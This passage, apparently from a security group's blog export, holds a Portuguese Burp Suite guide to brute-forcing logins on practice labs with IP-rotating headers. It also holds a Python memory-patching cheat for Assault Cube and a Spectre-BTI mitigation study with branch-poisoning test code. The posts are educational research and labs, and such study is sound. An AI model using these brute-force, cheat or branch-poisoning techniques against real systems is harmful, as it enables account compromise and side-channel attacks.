sensíveis.\nInjeções de Dicionário: Os usuários podem realizar ataques com base em listas de palavras (dicionários), testando diferentes combinações para encontrar vulnerabilidades.\nTestes Práticos Neste tópico vamos exemplificar o uso das ferramentas (proxy/repeater/intruder) do Burp nos laboratórios do PortSwigger.\nIntruder Para Enumeração de usuários Prodemos utilizar o intruder para brutar os possíveis usuários.\nNeste exemplo, usaremos o laboratório Enumeração de Usuários\nObjetivo: Realizar enumeração de nomes de utilizador e, posteriormente, fazermos um ataque força bruta nas possíveis senhas.\nAbra o browser do burp para interceptar as requisições Acesse a página de login do laboratório pelo browser do Burp, no meu caso o link é https://0a8b000a03abb31f858b8c7a007b003b.web-security-academy.net/login\nMarque a opção Intercept is on, preencha os campos de login/senha e clique em Log in Com isso, teremos a resposta no burp: Clique com o botão direito na requisição e marque a opção Send to Intruder, ou apenas use o atalho ctrl+i\nNo menu Intruder, selecione o parâmetro do usuário, no meu caso, jhayson. Após isso, marque a opção add obs: Certifique-se que a opção Attack Type esteja com a opção Sniper, posteriormente falaremos sobre os diferentes tipos de ataque. Acesse o menu payload, nele vamos escolher a wordlist com os nomes de usuários que usaremos para realizar o brute force\nEm payload settings [Simple list] clique na opção Load... e escolha o arquivo com os possíveis nomes de usuários Clique na opção Start attack\nAo termino de todas as requisições, vamos analisar as respostas da aplicação para uma das requisições feitas. para isso, clique na requisição e marque as opções Response e Render Com isso, descobrimos que a aplicação retorna o erro Invalid username. Podemos checar se a aplicação retorna esse mesmo erro para todos os usuários tentados, para isso vamos configurar o grep para as respostas.\nClique na opção settings e vá até o menu Grep - Match, após isso preencha os campos de acordo com a imagem abaixo. obs: escreva exatamente o que a mensagem de erro retornou Invalid username\nVolte ao menu results para reavaliar as respostas Com isso, podemos notar que, ao tentar o usuário adm a aplicação retornou o erro Incorrect password, indicando que o usuário existe.\nPara o terminar do laboratório, basta seguir o passo 4, mas, ao invés de marcar o parâmetro de usuário, devemos selecionar o parâmetro senha. obs: não podemos esquecer de desmarcar o parametro username jhayson, previamente marcado pois isso geraria o brute-force simultaneo de dois parametros, mas sabendo que o usuário adm existe, vamos brutar a senha dessa usuário.\nTipos de Ataque No passo 4 da enumeração de usuários, definimos o campo Attack Type como sniper, agora veremos os tipos de ataque e suas principais diferenças.\nCluster bomb:\nEste tipo de ataque realiza todas as combinações possíveis. Com N(emails) * N(senhas), temos n² iterações. Neste caso, é necessário escolher as duas listas de palavras que serão usadas no payload.\nExemplo de cluster bomb:\n1 {\u0026#34;email\u0026#34;: \u0026#34;admin\u0026#34;,\u0026#34;password\u0026#34;: \u0026#34;senha1\u0026#34;} {\u0026#34;email\u0026#34;: \u0026#34;admin\u0026#34;,\u0026#34;password\u0026#34;: \u0026#34;senha2\u0026#34;} {\u0026#34;email\u0026#34;: \u0026#34;admin\u0026#34;,\u0026#34;password\u0026#34;: \u0026#34;senha3\u0026#34;} {\u0026#34;email\u0026#34;: \u0026#34;user\u0026#34;,\u0026#34;password\u0026#34;: \u0026#34;senha1\u0026#34;} {\u0026#34;email\u0026#34;: \u0026#34;user\u0026#34;,\u0026#34;password\u0026#34;: \u0026#34;senha2\u0026#34;} {\u0026#34;email\u0026#34;: \u0026#34;user\u0026#34;,\u0026#34;password\u0026#34;: \u0026#34;senha3\u0026#34;} {\u0026#34;email\u0026#34;: \u0026#34;carlos\u0026#34;,\u0026#34;password\u0026#34;: \u0026#34;senha1\u0026#34;} {\u0026#34;email\u0026#34;: \u0026#34;carlos\u0026#34;,\u0026#34;password\u0026#34;: \u0026#34;senha2\u0026#34;} {\u0026#34;email\u0026#34;: \u0026#34;carlos\u0026#34;,\u0026#34;password\u0026#34;: \u0026#34;senha3\u0026#34;} Pitchfork:\nEste tipo de ataque utiliza diferentes tipos de listas de palavras para realizar força bruta nos parâmetros. Pode ser usado para realizar força bruta em diferentes IPs nas requisições.\nExemplo de pitchfork:\n1 2 3 {\u0026#34;email\u0026#34;: \u0026#34;admin\u0026#34;,\u0026#34;password\u0026#34;: \u0026#34;senha1\u0026#34;} {\u0026#34;email\u0026#34;: \u0026#34;user\u0026#34;,\u0026#34;password\u0026#34;: \u0026#34;senha2\u0026#34;} {\u0026#34;email\u0026#34;: \u0026#34;carlos\u0026#34;,\u0026#34;password\u0026#34;: \u0026#34;senha3\u0026#34;}` Exemplo de requisição pitchfork: O importante é X-Forwarded-For: IP\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 POST /login HTTP/2 Host: 0aad00ee03a734ca821ca6ef00c0006d.web-security-academy.net Cookie: session=ggLP46abcbQLW56T80NMqSBRbcxx8ico X-Forwarded-For: 213.41.0.§123§ Content-Length: 30 Cache-Control: max-age=0 Sec-Ch-Ua: \u0026#34;Not_A Brand\u0026#34;;v=\u0026#34;8\u0026#34;, \u0026#34;Chromium\u0026#34;;v=\u0026#34;120\u0026#34; Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: \u0026#34;Linux\u0026#34; Upgrade-Insecure-Requests: 1 Origin: https://0aad00ee03a734ca821ca6ef00c0006d.web-security-academy.net Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://0aad00ee03a734ca821ca6ef00c0006d.web-security-academy.net/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Priority: u=0, i username=carlos\u0026amp;password=§peter§ obs: Na requisição acima, além de realizarmos o bruteforce do campo password, enviamos as requisições por diferentes endereços IP\u0026rsquo;s (não existe critério na escolha do ip inicial). Vale destacar que na requisição original não tinhamos a linha X-Forwarded-For: 213.41.0.§123§, adicionamos manualmente.\nPara praticar o pitchfork, podemos usar o laboratório Username enumeration via response timing\nSniper:\nEste tipo de bruteforce usa uma posição da wordlist a cada requisição.\nReferências Portswigger: https://portswigger.net/burp/documentation/desktop/getting-started\nRepeater: https://portswigger.net/burp/documentation/desktop/tools/repeater\nIntruder: https://portswigger.net/burp/documentation/desktop/tools/intruder\nLabs: https://portswigger.net/web-security/all-labs\nAttack types: https://portswigger.net/burp/documentation/desktop/tools/intruder/configure-attack/attack-types\n","permalink":"http://grisufrj.github.io/blog/2023-12-24-guia-burp/","summary":"Introdução O objetivo dessa postagem é introduzir o leitor às principais funcionalidades do Burp Suite.\nO Que é o Burp Suite? Em termos simples, o Burp Suite é um software projetado para testes de segurança em aplicativos web.\nPrincipais Funcionalidades: Proxy\nO proxy intercepta as requisições e respostas entre o navegador (cliente) e o servidor, permitindo aos usuários analisar e manipular o tráfego. Isso é fundamental para identificar e corrigir possíveis falhas de segurança.","title":"Guia Básico do Burp Suite: Explorando requisições com o Burp"},{"content":"Introduction Have you ever considered modifying the source code of a game as you wish and playing with that modification? In this text, we will demonstrate how to modify a game in real-time using low-level knowledge, specifically assembly language. Additionally, we will develop a simple Python program to automate the process for us, employing the memory patching technique.\nBefore proceeding, it is entirely possible that some of the expressions mentioned above may not be familiar to you. If you\u0026rsquo;re wondering what assembly is, it\u0026rsquo;s a low-level programming language that represents machine code in a human-readable format, specific to each type of CPU. Assembly (or simply ASM) instructions are crucial as they allow us to understand what a program or game is doing, even after it has been compiled into its final form.\nFurthermore, the term \u0026ldquo;patching\u0026rdquo; is used to indicate that we are modifying the game\u0026rsquo;s binary code through its ASM instructions, as if we were reprogramming it.\nTo showcase the capabilities of this manipulation, let\u0026rsquo;s take Assault Cube as an example — a first-person shooter game that is open-source. Our objective is to modify the game in such a way that when the player gets hit by a gun, their health will regenerate!\nIt\u0026rsquo;s essential to highlight that the reason I\u0026rsquo;ve chosen this game is because it lacks an anti-cheat system. Therefore, please refrain from attempting to replicate the modifications demonstrated here in any other game unless you are certain about the absence of anti-cheat measures, as doing so could lead to a ban. Additionally, I urge you to be ethical and avoid disturbing other players in multiplayer mode. Feel free to explore and experiment on your own, purely for the pursuit of knowledge.\nDynamic Analysis One of the most renowned and undoubtedly useful software for dynamic analysis in games is Cheat Engine. We will employ it to identify the memory position of the desired instruction.\nFirst of all, our initial task is to determine the memory location of the player\u0026rsquo;s health. This information will be crucial as the health attribute is modified when the player gets hit, allowing us to pinpoint the target function accurately. To achieve this, we open Cheat Engine and the game, load Assault Cube\u0026rsquo;s process, and search for the HP value displayed on the screen, which is initially set to 100.\nNumerous results were found, so we need to narrow down the search. To do that, let\u0026rsquo;s intentionally decrease our health within the game and then search again for the new value.\nAfter setting the HP value to 99 and refining the results, we identify two memory addresses. By testing them one by one (through direct modification), we pinpoint the correct one. Now that we have the location of player\u0026rsquo;s HP in memory, we can examine precisely which instruction is responsible for altering its value when an enemy shoots at us to cause damage. The instruction we discovered is:\n1 sub [ebx+04],edi This instruction subtracts a certain value stored in the EDI register from the HP value located at address EBX+04. With this information, we can proceed to patch it, altering the sub operation to add, effectively reversing the damage logic of the game.\nWorth to say that the three bytes written in hexdecimal form (29 7B 04) that appears side by side with the instruction, are the equivalent to sub [ebx+04],edi for the computer.\nPatching Let\u0026rsquo;s proceed to directly modify the instruction written in this memory region:\nWhat we\u0026rsquo;ve done here is essentially utilize our operating system to modify our RAM in a specific region, affecting only the attribute that we desired to change.\nWith just that modification, now every time damage is inflicted, the entities on the map will gain life, effectively becoming immortal, and we have achieved our goal. We have indeed successfully modified the game!\nCheat Engine assists us in discovering addresses of interest and modifying them, but it\u0026rsquo;s also possible to achieve similar modifications using other methods. Below is an example of a python code that patches the game in the same manner as done above, utilizing the pymem library, which empowers us to interact with processes and memory.\nRefer to the code below, but keep in mind that you may need to perform reverse engineering again to determine the correct offsets required if you attempt to replicate this, due to potential variations in the game\u0026rsquo;s version.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import pymem import win32api import time PLAYER = 0x109B74 #Offset to player\u0026#39;s address (discovered by reverse engineering) INC_HP = 0x28D1F #Offset from the beginning of instructions to the target one TEXT_BASE = 0x1000 #Offset to the beginning of instructions def hack(): p_handle = pymem.Pymem(\u0026#39;ac_client.exe\u0026#39;) for module in list(p_handle.list_modules()): if module.name == \u0026#39;ac_client.exe\u0026#39;: client = module.lpBaseOfDll #.exe base address if not client: print(\u0026#34;[-] Module couldn\u0026#39;t be found, exiting...\u0026#34;) return print(\u0026#34;[+] Cheat started succefully!\u0026#34;) print(\u0026#34;F1: Reverse damage ON/OFF\u0026#34;) print(\u0026#34;END: Exit\\n\u0026#34;) inc_hp = False while(True): time.sleep(0.01) local_player = p_handle.read_uint(client + PLAYER) if not local_player: continue if win32api.GetAsyncKeyState(35): print(\u0026#34;\\Exiting...\u0026#34;) return if win32api.GetAsyncKeyState(112) \u0026amp; 1: inc_hp = not inc_hp if inc_hp: p_handle.write_bytes(client + TEXT_BASE + INC_HP, b\u0026#34;\\x01\\x7B\\x04\u0026#34;, 3) #Patching: reversing the damage print(\u0026#34;Reverse damage: ON\u0026#34;) if not inc_hp: p_handle.write_bytes(client + TEXT_BASE + INC_HP, b\u0026#34;\\x29\\x7B\\x04\u0026#34;, 3) #Patching: returning to the normal print(\u0026#34;Reverse damage: OFF\u0026#34;) if __name__ == \u0026#39;__main__\u0026#39;: hack() References Assault Cube: https://github.com/assaultcube/AC Cheat Engine: https://github.com/cheat-engine/cheat-engine/ Pymem\u0026rsquo;s documentation: https://pymem.readthedocs.io/en/latest/ ","permalink":"http://grisufrj.github.io/blog/2023-08-03-patching-games/","summary":"Introduction Have you ever considered modifying the source code of a game as you wish and playing with that modification? In this text, we will demonstrate how to modify a game in real-time using low-level knowledge, specifically assembly language. Additionally, we will develop a simple Python program to automate the process for us, employing the memory patching technique.\nBefore proceeding, it is entirely possible that some of the expressions mentioned above may not be familiar to you.","title":"Game Hacking: Using Dynamic Patching to Modify Games"},{"content":"Version 1.0 Introduction During our tests for reverse spectre attacks 123, we have observed that the behavior of the spectre-BTI4 mitigations differs between a bare-metal and a cloud-based scenario.\nThe Linux kernel allows userspace processes to enable mitigations by calling prctl5 with the PR_GET_SPECULATION_CTRL which disables the speculation feature or by using seccomp6. The default behavior changed over time (from using IBPB/STIBP to IBRS).\nWe have measured that on some instances of Google, AWS, Azure and Oracle, the spectre-BTI mitigation using prctl still leaves the victim exposed to attacks in some cases. In this research, we tested multiple scenarios in an attempt to enumerate the causes of failure for the mitigations.\nNote: The title hyperbleed is just a joke/meme/trolling and a way of internally tracking the bug.\nCurrent Hardware Mitigations (and their software interfaces on the Linux Kernel) The following IA32_SPEC_CTRL and IA32_PRED_CMD Model Specific Registers can be used to mitigate spectre-BTI7:\nAMD CPUs are compatible with those definitions 8. For a complete breakdown on the different mitigations and the recommended usages, refer to Intel\u0026rsquo;s guidance 9.\nIndirect Branch Restricted Speculation (IBRS) IBRS is a hardware mitigation used to prevent code from a less privileged mode to control branches executed on a more privileged mode 10. This mitigation is used to prevent spectre-BTI attacks against higher privileged security domains, such as kernel or host in the case of a VMM.\nTo enable the mitigation it is necessary to perform a write on a Model Specific Register (IA32_SPEC_CTRL.IBRS = 1, or MSR_72[0]=1) every time a context change happens from an untrusted context.\nIBRS can also be used to mitigate user-level attacks, according to Intel guidance 10:\n1 Additionally, when IA32_SPEC_CTRL.IBRS is set to 1 on any logical processors of that core, the predicted targets of indirect branches cannot be controlled by software that executes (or executed previously) on another logical processor of the same core. Enhanced IBRS eIBRS supports an \u0026lsquo;always on\u0026rsquo; mode for the IBRS (so the bit has to be set only once) 10.\nSingle Thread Indirect Branch Predictors (STIBP) STIBP prevents code from controlling branches executed on a sibling thread. STIBP doesn\u0026rsquo;t restrict previous branches from controlling future branches, therefore an IBPB must also be used.\nIndirect Branch Predictor Barrier (IBPB) The IBPB is used to prevent future branches from being affected by old branches recorded before issuing IBPB. The IBPB isn\u0026rsquo;t an operation mode but an instruction to clear (flush) the Branch Predictor Unit (BPU). It can be used to prevent untrusted software from controlling each other when executing at the same privilege level and same core. IBPB can be executed on process context switches to mitigate spectre-BTI.\nThe PRCTL syscall with PR_SET_SPECULATION_CTRL option The prctl syscall allows the user to set mitigations for the current process 11. The Linux kernel uses a combination of the previously discussed hardware mitigations to protect user processes against attacks from other user applications 12.\nThe mitigation for spectre-BTI can be enabled with:\nprctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_DISABLE, 0, 0);\nSimilarly, the mitigation can be enabled inby using seccomp 136:\nsyscall(SYS_seccomp,SECCOMP_SET_MODE_STRICT,0,0);\nTest Code The test consists of two processes. The attacker constantly poisons an indirect call to speculatively redirect it to a target address. The victim process measures the mispredict rate and tries to mitigate the attack either by calling PRCTL or writing to the MSR directly using a kernel module that exposes MSR read and write operations to userspace.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 /* gcc -o victim test.c -O0 -masm=intel -w -DVICTIM gcc -o victim-PRCTL test.c -O0 -masm=intel -w -DVICTIM -DPRCTL gcc -o victim-nospecctrl test.c -O0 -masm=intel -w -DVICTIM -DMSR -DMSR_VAL=0 gcc -o victim-IBRS test.c -O0 -masm=intel -w -DVICTIM -DMSR -DMSR_VAL=1 gcc -o victim-STIBP test.c -O0 -masm=intel -w -DVICTIM -DMSR -DMSR_VAL=2 gcc -o victim-IBPB test.c -O0 -masm=intel -w -DVICTIM -DMSR -DMSR_VAL=0 -DIBPB gcc -o attacker test.c -O0 -masm=intel -w */ #include \u0026#34;utils.h\u0026#34; #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;string.h\u0026gt; #include \u0026lt;sys/prctl.h\u0026gt; #ifndef PRINT_AMMOUNT #define PRINT_AMMOUNT 1000 #endif #define IA32_SPEC_CTRL 72 uint8_t *rdiPtr; uint8_t unused[0x500]; uint8_t probeArray[0x1000] = {2}; uint8_t unuse2[0x500]; uint32_t f1() {} int poison(uint8_t *srcAddress, uint8_t *dstAddress, uint64_t cpu) { volatile uint8_t d; unsigned tries = 0; unsigned hits = 0; unsigned totalHits = 0; unsigned totalTries = 0; jitForLoop(srcAddress); while (1) { #ifndef VICTIM callGadget(srcAddress, (uint8_t *)\u0026amp;rdiPtr, (uint8_t *)probeArray); continue; #else #ifdef IBPB wrmsr_on_cpu(73, cpu, 1); #endif for (int i = 0; i \u0026lt; 100; i++) { d = *dstAddress; flush((uint8_t *)\u0026amp;rdiPtr); callGadget(srcAddress, (uint8_t *)\u0026amp;rdiPtr, (uint8_t *)probeArray); } if (probe(\u0026amp;probeArray[0]) \u0026lt; THRESHOLD) { hits++; totalHits++; } totalTries++; if (++tries % PRINT_AMMOUNT == 0) { printf(\u0026#34;Rate: %u/%u MSR[72]=%d\\n\u0026#34;, hits, tries,rdmsr_on_cpu(IA32_SPEC_CTRL,cpu)); #ifdef MSR wrmsr_on_cpu(IA32_SPEC_CTRL, cpu, MSR_VAL); #endif tries = 0; hits = 0; if (totalTries \u0026gt;= PRINT_AMMOUNT * 10) { break; } } usleep(1); #endif } printf(\u0026#34;Total misspredict rate: %d/%d (%.2f %)\\n\u0026#34;, totalHits, totalTries, (float)totalHits * 100 / (float)totalTries); } int main(int argc, char **argv) { uint64_t srcAddress; uint64_t dstAddress; uint64_t cpu; if (argc \u0026lt; 4) { printf(\u0026#34;Usage: %s \u0026lt;srcAddress\u0026gt; \u0026lt;dstAddress\u0026gt; \u0026lt;cpuCore\u0026gt; \\n\u0026#34;, argv[0]); printf(\u0026#34;Example: %s 0x55555554123 0x55555555345 1 \\n\u0026#34;, argv[0]); return 0; } srcAddress = (uint64_t)strtoull(argv[1], NULL, 16); dstAddress = (uint64_t)strtoull(argv[2], NULL, 16); cpu = (uint64_t)strtoull(argv[3], NULL, 16); SetCoreAffinity(cpu); uint8_t *rwx1 = requestMem((uint8_t *)(srcAddress \u0026amp; (~0xfffULL)), 0x1000); uint8_t *rwx2 = requestMem((uint8_t *)(dstAddress \u0026amp; (~0xfffULL)), 0x1000); #ifdef PRCTL if (prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0) != 0) { perror(\u0026#34;prctl\u0026#34;); } printf(\u0026#34;PRCTL GET value 0x%x\\n\u0026#34;, prctl(PR_GET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, 0, 0, 0)); #endif #ifdef MSR printf(\u0026#34;current value msr[%d]=%d on core %d\\n\u0026#34;, IA32_SPEC_CTRL, rdmsr_on_cpu(IA32_SPEC_CTRL, cpu), cpu); wrmsr_on_cpu(IA32_SPEC_CTRL, cpu, MSR_VAL); printf(\u0026#34;writing msr[%d]=%d on core %d \\n\u0026#34;, IA32_SPEC_CTRL, MSR_VAL, cpu); printf(\u0026#34;current value msr[%d]=%d on core %d\\n\u0026#34;, IA32_SPEC_CTRL, rdmsr_on_cpu(IA32_SPEC_CTRL, cpu), cpu); #endif // set up leak gadget into position #ifdef VICTIM rdiPtr = (uint8_t *)f1; copyLeakGadget(dstAddress); #else rdiPtr = (uint8_t *)dstAddress; copyRetGadget(dstAddress); #endif poison(srcAddress, dstAddress, cpu); #ifdef MSR printf(\u0026#34;current value msr[%d]=%d on core %d\\n\u0026#34;, IA32_SPEC_CTRL, rdmsr_on_cpu(IA32_SPEC_CTRL, cpu), cpu); #endif } Disclaimer We have identified that the test code sometimes might produce false negatives (low misprediction rate). Retrying the execution can lead to greater misprediction rate values, indicating the vulnerability.\nControl Test Setup (Bare Metal) We used the spectre_meltdown_checker14 to verify the spectre v2 mitigations available for the machine used as control:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 $ sudo ./spectre-meltdown-checker.sh Spectre and Meltdown mitigation detection tool v0.45 Checking for vulnerabilities on current system Kernel is Linux 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64 CPU is Intel(R) Core(TM) i7-4790 CPU @ 3.60GHz Hardware check * Hardware support (CPU microcode) for mitigation techniques * Indirect Branch Restricted Speculation (IBRS) * SPEC_CTRL MSR is available: YES * CPU indicates IBRS capability: YES (SPEC_CTRL feature bit) * Indirect Branch Prediction Barrier (IBPB) * CPU indicates IBPB capability: YES (SPEC_CTRL feature bit) * Single Thread Indirect Branch Predictors (STIBP) * SPEC_CTRL MSR is available: YES * CPU indicates STIBP capability: YES (Intel STIBP feature bit) [...] * CPU vulnerability to the speculative execution attack variants * Affected by CVE-2017-5753 (Spectre Variant 1, bounds check bypass): YES * Affected by CVE-2017-5715 (Spectre Variant 2, branch target injection): YES [...] CVE-2017-5715 aka \u0026#39;Spectre Variant 2, branch target injection\u0026#39; * Mitigated according to the /sys interface: YES (Mitigation: Retpolines, IBPB: conditional, IBRS_FW, STIBP: conditional, RSB filling, PBRSB-eIBRS: Not affected) * Mitigation 1 * Kernel is compiled with IBRS support: YES * IBRS enabled and active: YES (for firmware code only) * Kernel is compiled with IBPB support: YES * IBPB enabled and active: YES * Mitigation 2 * Kernel has branch predictor hardening (arm): NO * Kernel compiled with retpoline option: YES * Kernel compiled with a retpoline-aware compiler: YES (kernel reports full retpoline compilation) \u0026gt; STATUS: NOT VULNERABLE (Full retpoline + IBPB are mitigating the vulnerability) [...] \u0026gt; SUMMARY: CVE-2017-5753:OK CVE-2017-5715:OK CVE-2017-5754:OK CVE-2018-3640:OK CVE-2018-3639:OK CVE-2018-3615:OK CVE-2018-3620:OK CVE-2018-3646:OK CVE-2018-12126:OK CVE-2018-12130:OK CVE-2018-12127:OK CVE-2019-11091:OK CVE-2019-11135:OK CVE-2018-12207:OK CVE-2020-0543:OK This shows that the CPU has support for IBRS, IBPB and STIBP.\nAll the executed tests run the attacker process on core 0. The arguments 0x55555554123 and 0x55555555345 are just the source and the destination of the branch and are the same for the victim and the attacker. The third argument is the core to be pinned.\nThe MSR module (from msr-tools) must be loaded too.\n1 2 $ ./attacker 0x55555554123 0x55555555345 0 \u0026amp; $ sudo modprobe msr For the mitigation test using the IA32_SPEC_CTRL MSR, we write the desired value to the register and check if the written value stays the same until the remainder of the test, otherwise the result is discarded. Sometimes the kernel may overwrite the value on the MSR, thus disabling the mitigation, but writing to the MSR before every branch disrupts the test flow and yields wrong results.\nExample of a false positive:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 Testing victim-IBRS on core 0: current value msr[72]=0 on core 0 writing msr[72]=1 on core 0 current value msr[72]=1 on core 0 Rate: 0/1000 MSR[72]=1 Rate: 0/1000 MSR[72]=1 Rate: 667/1000 MSR[72]=0 //this bin should be discarded Rate: 0/1000 MSR[72]=1 Rate: 0/1000 MSR[72]=1 Rate: 0/1000 MSR[72]=1 Rate: 0/1000 MSR[72]=1 Rate: 0/1000 MSR[72]=1 Rate: 0/1000 MSR[72]=1 Rate: 0/1000 MSR[72]=1 Total misspredict rate: 667/10000 (6.67 %) //actual misspredict rate = 0% (0/9000) current value msr[72]=1 on core 0 No mitigation Then we execute the victim code on either core 0 or its sibling thread (core 4 in this case). For the control victim code the results are:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 Testing victim on core 0: Rate: 998/1000 MSR[72]=0 Rate: 997/1000 MSR[72]=0 Rate: 1000/1000 MSR[72]=0 Rate: 999/1000 MSR[72]=0 Rate: 1000/1000 MSR[72]=0 Rate: 1000/1000 MSR[72]=0 Rate: 1000/1000 MSR[72]=0 Rate: 1000/1000 MSR[72]=0 Rate: 1000/1000 MSR[72]=0 Rate: 1000/1000 MSR[72]=0 Total mispredict rate: 9994/10000 (99.94 %) real\t0m0,695s user\t0m0,174s sys\t0m0,000s Testing victim on core 4: Rate: 1000/1000 MSR[72]=0 Rate: 1000/1000 MSR[72]=0 Rate: 1000/1000 MSR[72]=0 Rate: 1000/1000 MSR[72]=0 Rate: 1000/1000 MSR[72]=0 Rate: 1000/1000 MSR[72]=0 Rate: 1000/1000 MSR[72]=0 Rate: 1000/1000 MSR[72]=0 Rate: 1000/1000 MSR[72]=0 Rate: 1000/1000 MSR[72]=0 Total mispredict rate: 10000/10000 (100.00 %) real\t0m0,744s user\t0m0,235s sys\t0m0,000s In this case, we observed a misprediction rate of 95%+, indicating that the attacker process can poison the victim branch.\nDisabling the (in this case, the control, it was already disabled) mitigations using the MSR (obviously) returns similar results:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 Testing victim-nospecctrl on core 0: current value msr[72]=0 on core 0 writing msr[72]=0 on core 0 current value msr[72]=0 on core 0 Rate: 1000/1000 MSR[72]=0 [...] Total misspredict rate: 9999/10000 (99.99 %) current value msr[72]=0 on core 0 real\t0m0,691s user\t0m0,168s sys\t0m0,000s Testing victim-nospecctrl on core 4: current value msr[72]=0 on core 4 writing msr[72]=0 on core 4 current value msr[72]=0 on core 4 Rate: 998/1000 MSR[72]=0 [...] Total misspredict rate: 9988/10000 (99.88 %) current value msr[72]=0 on core 4 real\t0m0,746s user\t0m0,234s sys\t0m0,000s IBRS By using the msr-tools, we are able to write to the IA32_SPEC_CTRL MSR by writing to the file /dev/cpu/\u0026lt;cpu\u0026gt;/msr. We have used Haswell CPU for the control test, in which by setting IBRS=1 mitigates all different spectre-BTI scenarios:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 Testing victim-IBRS on core 0: current value msr[72]=0 on core 0 writing msr[72]=1 on core 0 current value msr[72]=1 on core 0 [...] Total misspredict rate: 0/10000 (0.00 %) current value msr[72]=1 on core 0 real\t0m1,713s user\t0m0,731s sys\t0m0,094s Testing victim-IBRS on core 4: current value msr[72]=0 on core 4 writing msr[72]=1 on core 4 current value msr[72]=1 on core 4 [...] Total mispredict rate: 0/10000 (0.00 %) current value msr[72]=1 on core 4 real\t0m1,536s user\t0m0,984s sys\t0m0,037s For the IBRS tests, it\u0026rsquo;s also possible to note a drastic performance decrease, from ~0.7s to ~1.5 seconds for both CPU threads; this indicates that probably speculative execution is disabled when IBRS is enabled. Commenting the line that flushes the target value for the branch improves the result, implying that the CPU spent less time on stalls in the pipeline:\n1 2 3 4 5 6 7 8 $ time sudo ./victim-IBRS 0x55555554123 0x55555555345 4 [...] Total misspredict rate: 0/10000 (0.00 %) current value msr[72]=0 on core 4 real 0m1,050s user 0m0,005s sys 0m0,005s STIBP STIBP aims to mitigate only speculation between sibling threads so it\u0026rsquo;s expected to not mitigate attacks running on the same core:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 Testing victim-STIBP on core 0: current value msr[72]=1 on core 0 writing msr[72]=2 on core 0 current value msr[72]=2 on core 0 [...] Total misspredict rate: 6198/10000 (61.98 %) current value msr[72]=2 on core 0 real\t0m1,102s user\t0m0,434s sys\t0m0,000s Testing victim-STIBP on core 4: current value msr[72]=0 on core 4 writing msr[72]=2 on core 4 current value msr[72]=2 on core 4 [...] Total misspredict rate: 0/10000 (0.00 %) current value msr[72]=2 on core 4 real\t0m0,744s user\t0m0,227s sys\t0m0,006s IBPB In our tests with IBPB, before every sequence of 100 branches an IBPB is issued.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 Testing victim-IBPB on core 0: current value msr[72]=2 on core 0 writing msr[72]=0 on core 0 current value msr[72]=0 on core 0 [...] Total misspredict rate: 0/10000 (0.00 %) current value msr[72]=0 on core 0 real\t0m0,784s user\t0m0,259s sys\t0m0,000s Testing victim-IBPB on core 4: current value msr[72]=2 on core 4 writing msr[72]=0 on core 4 current value msr[72]=0 on core 4 [...] Total misspredict rate: 14/10000 (0.14 %) current value msr[72]=0 on core 4 real\t0m0,838s user\t0m0,248s sys\t0m0,074s In the SMT scenario, it\u0026rsquo;s possible to observe some traces of speculation happening. This result is expected since after the flush of the BPU, thread 0 immediately executes a branch poisoning the BTB. However, due to the high frequency of IBPB’s in this test, it drastically reduces the speculation rate on the sibling thread. The Linux Kernel, when mitigating user-user branch injection attacks, only issues the IBPB on context switches and the sibling thread case is mitigated by STIBP (as recommended by Intel). Since we did not ensure such rigorous execution flow control when testing on usermode (we could have added synchronization but it was really not necessary for what we wanted to test), it\u0026rsquo;s not possible to be sure that an attacker thread wouldn\u0026rsquo;t be scheduled between a victim IBPB and a victim branch so this test may lead to some false positives, however, the results seem accurate enough.\nPRCTL As previously mentioned, the PRCTL syscall allows setting the speculative control for a given process 5. The following call can be used to mitigate spectre-BTI attacks against an user process:\n1 prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0); The Linux kernel uses a combination of the previous hardware mitigations (STIBP+IBPB) to protect the process from spectre-BTI attacks. This is expected to fully protect the victim:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 Testing victim-PRCTL on core 0: 